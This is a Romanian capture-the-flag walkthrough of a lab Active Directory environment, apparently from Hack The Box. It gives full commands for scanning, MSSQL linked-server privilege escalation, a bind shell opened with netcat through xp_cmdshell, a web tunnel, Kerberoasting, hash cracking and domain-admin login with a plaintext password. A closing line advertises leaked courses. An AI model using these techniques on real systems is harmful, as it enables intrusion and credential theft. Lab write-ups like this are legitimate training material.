
În acest articol vom analiza nu doar un sistem, ci întreaga mini-laboratorie de pe platformă. .
După cum este menționat în descriere, P.O.O. este destinat evaluării abilităților în toate etapele atacurilor într-un mediu mic de Active Directory. Scopul este de a compromite gazda disponibilă, de a obține privilegii mai ridicate și, în cele din urmă, de a compromite întreaga domeniu, adunând astfel 5 steaguri.
Conectarea la laborator se face prin VPN. Este recomandat să nu te conectezi de pe calculatorul de serviciu sau de pe un sistem care conține date importante pentru tine, deoarece intri într-o rețea privată cu persoane care au anumite abilități în domeniul securității informației 🙂.
Informații organizaționale
Pentru ca voi să puteți afla despre articole noi, software și alte informații, am creat și în domeniul IiiKB. De asemenea, solicitările, întrebările, sugestiile și recomandările voastre .
Toate informațiile sunt prezentate exclusiv în scopuri educaționale. Autorul acestui document nu își asumă nicio responsabilitate pentru daunele cauzate oricărei persoane ca urmare a utilizării cunoștințelor și metodelor obținute din studierea acestui document.
Intro
Acest endgame constă din două mașini și conține 5 steaguri.

De asemenea, este oferit o descriere și adresa gazdei disponibile.

Să începem!
Recon flag
Această mașină are adresa IP 10.13.38.11, pe care o adaug în /etc/hosts.
10.13.38.11 poo.htb
În primul rând, vom scana porturile deschise. Deoarece scanarea tuturor porturilor cu nmap durează mult, voi face mai întâi acest lucru folosind masscan. Vom scana toate porturile TCP și UDP de pe interfața tun0 cu o viteză de 500 de pachete pe secundă.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Acum, pentru a obține informații mai detaliate despre serviciile care rulează pe porturi, vom lansa un scan cu opțiunea -A.
nmap -A poo.htb -p80,1433 
Astfel, avem serviciile IIS și MSSQL. De asemenea, aflăm numele DNS real al domeniului și al computerului. Pe serverul web ne întâmpină pagina de start IIS.

Să explorăm directoarele. Pentru aceasta, folosesc gobuster. În parametrii specific numărul de fire 128 (-t), URL (-u), dicționarul (-w) și extensiile care ne interesează (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Astfel, avem autentificare HTTP pentru directorul /admin, precum și un fișier disponibil de stocare al serviciului desktop .DS_Store. .DS_Store sunt fișiere care stochează setările utilizatorului pentru folder, cum ar fi lista de fișiere, locația pictogramelor, imaginea de fundal aleasă. Un astfel de fișier poate ajunge în directorul serverului web la dezvoltatorii web. Astfel, putem obține informații despre conținutul catalogului. Pentru aceasta, se poate utiliza .
python3 dsstore_crawler.py -i http://poo.htb/ 
Obținem conținutul catalogului. Ceea ce este cel mai interesant aici este catalogul /dev, din care putem vedea sursele și fișierele db în două ramuri. Dar putem obține primele 6 caractere ale numelui fișierelor și directorilor, dacă serviciul este vulnerabil la IIS ShortName. Verificarea acestei vulnerabilități se poate face cu ajutorul .

Și găsim un fișier text care începe cu „poo_co”. Neștiind ce să fac mai departe, am ales pur și simplu din dicționarul de directoare toate cuvintele care încep cu „co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtȘi le verificăm folosind wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Și găsim un cuvânt potrivit! Privim acest fișier, salvăm acreditivele (judecând după parametrul DBNAME, acestea sunt de la MSSQL).

Predăm steagul și avansăm cu 20%.

Huh flag
Ne conectăm la MSSQL, folosesc DBeaver.

Nu găsim nimic interesant în această bază, haideți să creăm un Editor SQL și să verificăm ce utilizatori există.
SELECT name FROM master..syslogins; 
Avem doi utilizatori. Hai să verificăm privilegiile lor.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Astfel, nu avem privilegii. Să vedem serverele asociate, despre această metodă am scris detaliat .
SELECT * FROM master..sysservers; 
Astfel, găsim încă un server SQL. Să verificăm executarea comenzilor pe acest server folosind openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Și chiar putem construi un arbore de interogări.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Problema este că, atunci când executăm o interogare pe serverul asociat, interogarea este executată în contextul unui alt utilizator! Haideți să vedem în contextul cărui utilizator lucrăm pe serverul asociat.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Și acum să vedem în ce context sunt executate interogările de la serverul asociat pe al nostru!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Astfel, acesta este contextul DBO, care ar trebui să dețină toate privilegiile. Să verificăm privilegiile în cazul unei interogări de la serverul asociat.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Așa cum se poate observa, avem toate privilegiile! Să creăm un administrator pe cont propriu. Dar nu putem face asta prin openquery, așa că să procedăm prin EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Și acum ne conectăm cu datele de autentificare ale noului utilizator, observând noua bază de date flag.

Predăm acest flag și mergem mai departe.

BackTrack flag
Vom obține shell prin MSSQL, folosesc mssqlclient din pachetul impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Trebuie să obținem parolele, iar primul lucru pe care l-am întâlnit deja este site-ul. Așa că avem nevoie de configurația serverului web (nu reușim să plasăm un shell convenabil, pare că funcționează firewall-ul).

Dar accesul este interzis. Deși putem citi fișiere din MSSQL, trebuie doar să știm ce limbaje de programare sunt configurate. Și în directorul MSSQL aflăm că există Python.

Atunci nu ar fi nicio problemă să citim fișierul web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Cu datele de autentificare găsite, ne conectăm la /admin și preluăm flagul.


Foothold flag
De fapt, utilizarea firewall-ului aduce anumite neplăceri, dar, examinând setările de rețea, observăm că se folosește și un tunel IPv6!

Să adăugăm această adresă în /etc/hosts.
dead:babe::1001 poo6.htb
Hai să scanăm din nou gazda, dar de data aceasta prin protocolul IPv6.

Și prin IPv6 este disponibil serviciul WinRM. Ne vom conecta cu datele de autentificare găsite.

Pe desktop există un flag, să-l predăm.

P00ned flag
După ce am făcut recon pe gazdă folosind nu găsim nimic special. Atunci s-a decis să căutăm din nou datele de autentificare (despre aceasta am scris și eu ). Dar nu am reușit să obțin toate SPN din sistem prin WinRM.
setspn.exe -T intranet.poo -Q *
/* 
Să executăm comanda prin MSSQL.

Prin metoda indicată, obținem SPN-urile utilizatorilor p00_hr și p00_adm, iar aceasta înseamnă că sunt vulnerabili la un atac de tip Kerberoasting. Pe scurt, putem obține hash-urile parolelor lor.
Mai întâi, trebuie să obținem un shell stabil sub contul utilizatorului MSSQL. Dar, fiindcă accesul este restricționat, avem conexiune la gazdă doar prin porturile 80 și 1433. Totuși, există posibilitatea tunelării traficului prin portul 80! Pentru aceasta, folosim . Vom încarcă fișierul tunnel.aspx în directorul de bază al serverului web — C:inetpubwwwroot.

Dar când încercăm să ne conectăm la el, primim eroarea 404. Asta înseamnă că fișierele *.aspx nu sunt executate. Pentru ca fișierele cu această extensie să fie executate, vom instala ASP.NET 4.5 în felul următor.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Și acum, când ne conectăm la tunnel.aspx, primim un mesaj că totul este gata de lucru.
![]()
Să pornim partea client a aplicației care se va ocupa de retransmiterea traficului. Vom redirecționa tot traficul de pe portul 5432 către server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Și folosim proxychains, pentru a redirecționa traficul oricărei aplicații prin proxy-ul nostru. Vom adăuga acest proxy în fișierul de configurație /etc/proxychains.conf.

Acum vom încărca pe server programul , cu ajutorul căruia vom crea un shell bind stabil, și scriptul , cu ajutorul căruia vom efectua atacul de Kerberoasting.

Acum, prin MSSQL, vom lansa listener-ul.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Și ne conectăm prin proxy-ul nostru.
proxychains rlwrap nc poo.htb 4321 
Să obținem hash-urile.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Apoi, trebuie să încercăm aceste hash-uri. Deoarece în dictionarul rockyou nu erau aceste parole, am folosit TOATE dictionarele de parole oferite în Seclists. Pentru încercare, folosim hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceȘi găsim ambele parole, prima în dictionarul dutch_passwordlist.txt, iar a doua în Keyboard-Combinations.txt.


Astfel, avem trei utilizatori, mergem pe controlerul de domeniu. Mai întâi, aflăm adresa acestuia.

Excelent, am aflat IP-ul controllerului de domeniu. Să vedem toți utilizatorii domeniului, precum și cine dintre ei este administrator. Vom încărca scriptul pentru obținerea informațiilor PowerView.ps1. Apoi ne vom conecta prin evil-winrm, specificând în parametru -s directorul cu scriptul. Apoi, pur și simplu, vom încărca scriptul PowerView.

Acum avem acces la toate funcțiile sale. Utilizatorul p00_adm pare a fi privilegiat, așa că vom lucra în contextul său. Vom crea un obiect PSCredential pentru acest utilizator.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassAcum toate comenzile Powershell, unde vom specifica Creds, vor fi executate în numele lui p00_adm. Să listăm utilizatorii și atributul AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Așadar, utilizatorul nostru este, într-adevăr, privilegiat. Să vedem în ce grupuri este inclus.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Confirmăm în cele din urmă că utilizatorul este administratorul domeniului. Acest lucru îi oferă dreptul de a se conecta la distanță la controllerul de domeniu. Hai să încercăm să ne conectăm prin WinRM, folosind tunelul nostru. M-a deranjat erorile generate de reGeorg când am folosit evil-winrm.

Atunci să folosim un alt script, mai simplu, pentru a ne conecta la WinRM. Vom deschide și schimba parametrii de conectare.

Încercăm să ne conectăm și suntem în sistem.

Dar nu există steagul. Atunci să ne uităm la utilizator și să verificăm birourile de lucru.

La mr3ks găsim steagul și laboratorul este completat 100%.

Asta e tot. Ca feedback, te rog să comentezi — ai învățat ceva nou din acest articol și a fost acesta util pentru tine?
Te poți alătura nouă în . Acolo vei putea găsi materiale interesante, cursuri scurse, precum și software. Să construim o comunitate în care se află oameni care înțeleg multe domenii IT, astfel încât să putem ajuta mereu unii pe alții cu orice întrebări IT și de securitate.
Sursa: habr.com
